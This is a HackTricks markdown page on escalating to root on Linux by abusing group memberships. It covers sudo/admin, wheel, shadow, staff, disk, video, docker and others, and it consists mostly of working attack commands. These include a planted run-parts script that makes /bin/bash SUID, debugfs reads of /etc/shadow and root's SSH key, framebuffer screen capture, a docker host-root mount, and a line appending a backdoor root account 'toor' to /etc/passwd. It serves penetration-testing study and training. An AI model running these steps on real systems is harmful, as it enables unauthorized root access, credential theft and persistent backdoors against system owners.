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294 lines
12 KiB
Markdown
294 lines
12 KiB
Markdown
# Interesting Groups - Linux Privesc
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Sudo/Admin Groups
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### **PE - Method 1**
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**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines:
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```bash
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# Allow members of group sudo to execute any command
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%sudo ALL=(ALL:ALL) ALL
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# Allow members of group admin to execute any command
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%admin ALL=(ALL:ALL) ALL
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```
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This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
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If this is the case, to **become root you can just execute**:
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```
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sudo su
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```
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### PE - Method 2
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Find all suid binaries and check if there is the binary **Pkexec**:
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```bash
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find / -perm -4000 2>/dev/null
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```
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If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\
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This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with:
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```bash
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cat /etc/polkit-1/localauthority.conf.d/*
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```
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There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear.
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To **become root you can execute**:
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```bash
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pkexec "/bin/sh" #You will be prompted for your user password
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```
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If you try to execute **pkexec** and you get this **error**:
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```bash
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polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
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==== AUTHENTICATION FAILED ===
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Error executing command as another user: Not authorized
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```
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**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
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{% code title="session1" %}
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```bash
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echo $$ #Step1: Get current PID
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pkexec "/bin/bash" #Step 3, execute pkexec
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#Step 5, if correctly authenticate, you will have a root session
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```
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{% endcode %}
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{% code title="session2" %}
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```bash
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pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
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#Step 4, you will be asked in this session to authenticate to pkexec
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```
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{% endcode %}
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## Wheel Group
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**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
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```
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%wheel ALL=(ALL:ALL) ALL
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```
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This means that **any user that belongs to the group wheel can execute anything as sudo**.
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If this is the case, to **become root you can just execute**:
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```
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sudo su
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```
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## Shadow Group
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Users from the **group shadow** can **read** the **/etc/shadow** file:
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```
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-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
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```
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So, read the file and try to **crack some hashes**.
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## Staff Group
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**staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups)
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In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not.
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```bash
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$ echo $PATH
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/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
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# echo $PATH
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/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
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```
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If we can hijack some programs in `/usr/local`, we can easy to get root.
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Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login).
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```bash
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$ cat /etc/crontab | grep run-parts
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17 * * * * root cd / && run-parts --report /etc/cron.hourly
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25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
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47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
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52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
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```
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or When a new ssh session login.
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```bash
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$ pspy64
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2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
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2024/02/01 22:02:10 CMD: UID=0 PID=17883 | sshd: [accepted]
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2024/02/01 22:02:10 CMD: UID=0 PID=17884 | sshd: [accepted]
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2024/02/01 22:02:14 CMD: UID=0 PID=17886 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
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2024/02/01 22:02:14 CMD: UID=0 PID=17887 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
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2024/02/01 22:02:14 CMD: UID=0 PID=17888 | run-parts --lsbsysinit /etc/update-motd.d
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2024/02/01 22:02:14 CMD: UID=0 PID=17889 | uname -rnsom
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2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv]
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2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash
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```
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**Exploit**
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```bash
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# 0x1 Add a run-parts script in /usr/local/bin/
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$ vi /usr/local/bin/run-parts
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#! /bin/bash
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chmod 4777 /bin/bash
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# 0x2 Don't forget to add a execute permission
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$ chmod +x /usr/local/bin/run-parts
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# 0x3 start a new ssh sesstion to trigger the run-parts program
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# 0x4 check premission for `u+s`
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$ ls -la /bin/bash
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-rwsrwxrwx 1 root root 1099016 May 15 2017 /bin/bash
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# 0x5 root it
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$ /bin/bash -p
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```
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## Disk Group
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This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
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Files:`/dev/sd[a-z][1-9]`
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```bash
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df -h #Find where "/" is mounted
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debugfs /dev/sda1
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debugfs: cd /root
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debugfs: ls
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debugfs: cat /root/.ssh/id_rsa
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debugfs: cat /etc/shadow
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```
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Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
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```bash
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debugfs -w /dev/sda1
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debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
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```
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However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error.
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## Video Group
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Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
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```bash
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USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
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yossi tty1 22:16 5:13m 0.05s 0.04s -bash
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moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
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```
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The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
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The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
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```bash
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cat /dev/fb0 > /tmp/screen.raw
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cat /sys/class/graphics/fb0/virtual_size
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```
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To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**:
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.png>)
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Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen):
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.png>)
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## Root Group
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It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
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**Check which files root members can modify**:
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```bash
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find / -group root -perm -g=w 2>/dev/null
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```
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## Docker Group
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You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
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```bash
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docker image #Get images from the docker service
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#Get a shell inside a docker container with access as root to the filesystem
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docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
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#If you want full access from the host, create a backdoor in the passwd file
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echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd
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#Ifyou just want filesystem and network access you can startthe following container:
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docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
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```
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Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here:
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{% content-ref url="../docker-security/" %}
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[docker-security](../docker-security/)
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{% endcontent-ref %}
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If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.**
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{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
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{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
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## lxc/lxd Group
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{% content-ref url="./" %}
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[.](./)
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{% endcontent-ref %}
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## Adm Group
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Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\
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Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**.
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## Auth group
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Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\
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These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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||
<details>
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||
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||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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